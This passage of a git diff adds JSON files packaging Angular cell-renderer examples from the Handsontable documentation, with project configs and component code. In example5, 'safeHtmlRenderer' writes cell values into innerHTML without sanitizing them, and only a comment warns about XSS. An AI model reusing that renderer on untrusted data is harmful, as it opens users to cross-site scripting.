modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-functions/cell-renderer/angular/example2.ts","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example2","exampleTitle":"Use the renderer component within React's Context","docPermalink":"/cell-renderer","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__angular__example3.ts.json new file mode 100644 index 00000000..54edf698 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Functions ▸ Cell renderer · Declare a custom renderer as a function · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { ChangeDetectionStrategy, Component, OnInit } from '@angular/core';\nimport {GridSettings, HotCellRendererComponent, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-color-renderer',\n template: `{{value}}`,\n standalone: true,\n imports: [],\n changeDetection: ChangeDetectionStrategy.OnPush\n})\nexport class ColorRendererComponent extends HotCellRendererComponent string\n}> implements OnInit {\n textColor = '';\n\n ngOnInit() {\n const props = this.getProps();\n this.textColor = props.textColor ?? 'black';\n\n if (props.textColorFn && typeof props.textColorFn === 'function') {\n this.textColor = props.textColorFn(this.value);\n }\n }\n\n}\n\n@Component({\n selector: 'app-example3',\n standalone: true,\n imports: [HotTableModule],\n template: `\n \n \n `,\n})\nexport class AppComponent {\n\n readonly hotData = [\n {\n title:\n 'Professional JavaScript for Web Developers',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n rate: 3\n },\n {\n title:\n 'JavaScript: The Good Parts',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n rate: 9\n },\n {\n title:\n 'JavaScript: The Definitive Guide',\n description:\n 'JavaScript: The Definitive Guide provides a thorough description of the core JavaScript language and both the legacy and standard DOMs implemented in web browsers.',\n rate: 5\n },\n ];\n\n readonly hotSettings: GridSettings = {\n colWidths: [200, 400, 80],\n colHeaders: ['Title', 'Description', 'Comments', 'Cover'],\n height: 'auto',\n columns: [\n { data: 'title', renderer: ColorRendererComponent, rendererProps: { textColor: 'blue' } },\n { data: 'description', renderer: ColorRendererComponent, rendererProps: { textColor: 'orange' } },\n { data: 'rate', renderer: ColorRendererComponent, rendererProps: { textColorFn: (value: string) => +value <= 5 ? 'red' : 'inherit' } },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-functions/cell-renderer/angular/example3.ts","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example3","exampleTitle":"Declare a custom renderer as a function","docPermalink":"/cell-renderer","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__angular__example4.ts.json new file mode 100644 index 00000000..3f80b709 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__angular__example4.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Functions ▸ Cell renderer · Declare a custom renderer as a function (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { AfterViewInit, Component, OnInit } from '@angular/core';\nimport {GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\n\nconst coverRenderer = (_instance: Handsontable, td: HTMLTableCellElement, _row: number, _col: number, _prop: string | number, value: string) => {\n const img = document.createElement('img');\n\n img.src = value;\n img.addEventListener('mousedown', (event) => {\n event.preventDefault();\n });\n td.innerText = '';\n td.appendChild(img);\n\n return td;\n};\n\n\n@Component({\n selector: 'app-example4',\n template: `\n @if (hotSettings) {\n \n }\n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent implements OnInit, AfterViewInit {\n\n readonly hotData = [\n {\n title:\n 'Professional JavaScript for Web Developers',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n cover:\n '/docs/img/examples/professional-javascript-developers-nicholas-zakas.jpg',\n },\n {\n title:\n 'JavaScript: The Good Parts',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n cover: '/docs/img/examples/javascript-the-good-parts.jpg',\n },\n {\n title:\n 'JavaScript: The Definitive Guide',\n description:\n 'JavaScript: The Definitive Guide provides a thorough description of the core JavaScript language and both the legacy and standard DOMs implemented in web browsers.',\n cover: '/docs/img/examples/javascript-the-definitive-guide.jpg',\n },\n ];\n\n hotSettings!: GridSettings;\n\n ngOnInit() {\n }\n\n ngAfterViewInit() {\n this.hotSettings = {\n colWidths: [200, 400, 80],\n colHeaders: ['Title', 'Description', 'Cover'],\n height: 'auto',\n columns: [\n { data: 'title', renderer: 'html' },\n { data: 'description', renderer: 'html' },\n { data: 'cover', renderer: coverRenderer },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n };\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-functions/cell-renderer/angular/example4.ts","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example4","exampleTitle":"Declare a custom renderer as a function (2)","docPermalink":"/cell-renderer","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__angular__example5.ts.json new file mode 100644 index 00000000..f79175bc --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__angular__example5.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Functions ▸ Cell renderer · Render custom HTML in cells · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { AfterViewInit, Component } from '@angular/core';\nimport {GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\n\nfunction safeHtmlRenderer(\n _instance: Handsontable,\n td: HTMLTableCellElement,\n _row: number,\n _col: number,\n _prop: string | number,\n value: string,\n _cellProperties: Handsontable.CellProperties\n) {\n // WARNING: Be sure you only allow certain HTML tags to avoid XSS threats.\n // Sanitize the \"value\" before passing it to the innerHTML property.\n td.innerHTML = value;\n return td;\n}\n\nfunction coverRenderer(\n _instance: Handsontable,\n td: HTMLTableCellElement,\n _row: number,\n _col: number,\n _prop: string | number,\n value: string,\n _cellProperties: Handsontable.CellProperties\n) {\n const img = document.createElement('img');\n\n img.src = value;\n img.addEventListener('mousedown', (event) => {\n event.preventDefault();\n });\n td.innerText = '';\n td.appendChild(img);\n\n return td;\n}\n\n@Component({\n selector: 'app-example5',\n template: `\n @if (hotSettings) {\n \n }\n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent implements AfterViewInit {\n\n readonly hotData = [\n {\n title:\n 'Professional JavaScript for Web Developers',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n comments: 'I would rate it ★★★★☆',\n cover:\n '/docs/img/examples/professional-javascript-developers-nicholas-zakas.jpg',\n },\n {\n title:\n 'JavaScript: The Good Parts',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n comments: 'This is the book about JavaScript',\n cover: '/docs/img/examples/javascript-the-good-parts.jpg',\n },\n {\n title:\n 'JavaScript: The Definitive Guide',\n description:\n 'JavaScript: The Definitive Guide provides a thorough description of the core JavaScript language and both the legacy and standard DOMs implemented in web browsers.',\n comments:\n 'I\\'ve never actually read it, but the comments are highly positive.',\n cover: '/docs/img/examples/javascript-the-definitive-guide.jpg',\n }\n ];\n\n hotSettings!: GridSettings;\n\n ngAfterViewInit() {\n this.hotSettings = {\n colWidths: [200, 200, 200, 80],\n colHeaders: ['Title', 'Description', 'Comments', 'Cover'],\n height: 'auto',\n columns: [\n { data: 'title', renderer: 'html' },\n { data: 'description', renderer: 'html' },\n { data: 'comments', renderer: safeHtmlRenderer },\n { data: 'cover', renderer: coverRenderer },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n };\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-functions/cell-renderer/angular/example5.ts","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example5","exampleTitle":"Render custom HTML in cells","docPermalink":"/cell-renderer","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__angular__example6.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__angular__example6.ts.json new file mode 100644 index 00000000..d428a96f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__angular__example6.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Functions ▸ Cell renderer · Render custom HTML in header · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { AfterViewInit, Component, ViewChild } from '@angular/core';\nimport {GridSettings, HotTableComponent, HotTableModule} from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\n@Component({\n standalone: true,\n imports: [HotTableModule],\n selector: 'app-example6',\n template: `\n\n \n @if (hotSettings) {\n \n }\n \n `,\n})\nexport class AppComponent implements AfterViewInit {\n @ViewChild(HotTableComponent, {static: false}) hotTable!: HotTableComponent;\n\n isChecked = false;\n\n hotSettings!: GridSettings;\n\n ngAfterViewInit() {\n const componentThis = this;\n\n function customRenderer(_instance: Handsontable, td: HTMLTableCellElement) {\n textRenderer.apply(componentThis, arguments as unknown as Parameters);\n\n if (componentThis.isChecked) {\n td.style.backgroundColor = 'yellow';\n } else {\n td.style.backgroundColor = 'rgba(255,255,255,0.1)';\n }\n }\n\n this.hotSettings = {\n height: 'auto',\n columns: [{}, { renderer: customRenderer }],\n colHeaders(col: number) {\n return col === 0\n ? 'Bold and Beautiful'\n : `Some checkbox`;\n },\n autoWrapRow: true,\n autoWrapCol: true,\n };\n }\n\n exampleContainerMouseupCallback = (event: MouseEvent) => {\n const hot = this.hotTable.hotInstance!;\n const target = event.target as HTMLInputElement | null;\n\n if (target?.nodeName == 'INPUT' && target.className == 'checker') {\n this.isChecked = !target.checked;\n hot?.render();\n }\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-functions/cell-renderer/angular/example6.ts","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example6","exampleTitle":"Render custom HTML in header","docPermalink":"/cell-renderer","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__angular__example7.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__angular__example7.ts.json new file mode 100644 index 00000000..8adebcab --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-functions__cell-renderer__angular__example7.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Functions ▸ Cell renderer · Format symbols outside the Intl standard · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n 